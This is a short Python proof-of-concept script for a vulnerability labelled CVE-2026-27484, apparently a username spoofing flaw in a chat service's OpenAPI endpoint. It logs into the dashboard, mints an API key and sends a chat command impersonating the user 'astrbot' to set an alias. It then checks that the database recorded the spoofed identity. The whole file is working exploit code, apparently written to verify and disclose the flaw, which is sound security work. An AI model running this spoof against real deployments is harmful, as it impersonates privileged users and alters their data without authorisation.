PoC: verification_test.py for CVE-2026-27484-OpenAPI-Username-Spoofing

verification_test.py

import json

from common import (
    VerificationError,
    append_observation,
    create_api_key,
    extract_plain_text,
    fetch_alias,
    login_dashboard,
    request_json,
    send_chat,
)


def main() -> int:
    session = __import__("requests").Session()
    request_json("GET", "/api/auth/setup-status", session=session)
    dashboard_token = login_dashboard(session)
    api_key = create_api_key(session, dashboard_token)

    session_id = "spoofed-session"
    spoofed_username = "astrbot"
    alias = "pwned_alias"
    events = send_chat(
        api_key,
        username=spoofed_username,
        message=f"/name {alias}",
        session_id=session_id,
    )
    plain_text = extract_plain_text(events)
    alias_row = fetch_alias(session_id)

    result = {
        "mode": "End-to-End",
        "api_key_prefix": api_key[:12],
        "session_id": session_id,
        "spoofed_username": spoofed_username,
        "plain_text": plain_text,
        "alias_row": alias_row,
    }
    print(json.dumps(result, ensure_ascii=False, indent=2))
    append_observation(
        "verification_test.py", json.dumps(result, ensure_ascii=False, indent=2)
    )

    if "UMO name set to: pwned_alias" not in plain_text:
        raise VerificationError("Exploit response did not confirm alias update")
    if alias_row is None:
        raise VerificationError("No alias row found for spoofed session")
    if alias_row["creator_sender_id"] != spoofed_username:
        raise VerificationError(
            f"Unexpected creator_sender_id: {alias_row['creator_sender_id']}"
        )
    if alias_row["user_alias"] != alias:
        raise VerificationError(f"Unexpected alias value: {alias_row['user_alias']}")
    return 0


if __name__ == "__main__":
    raise SystemExit(main())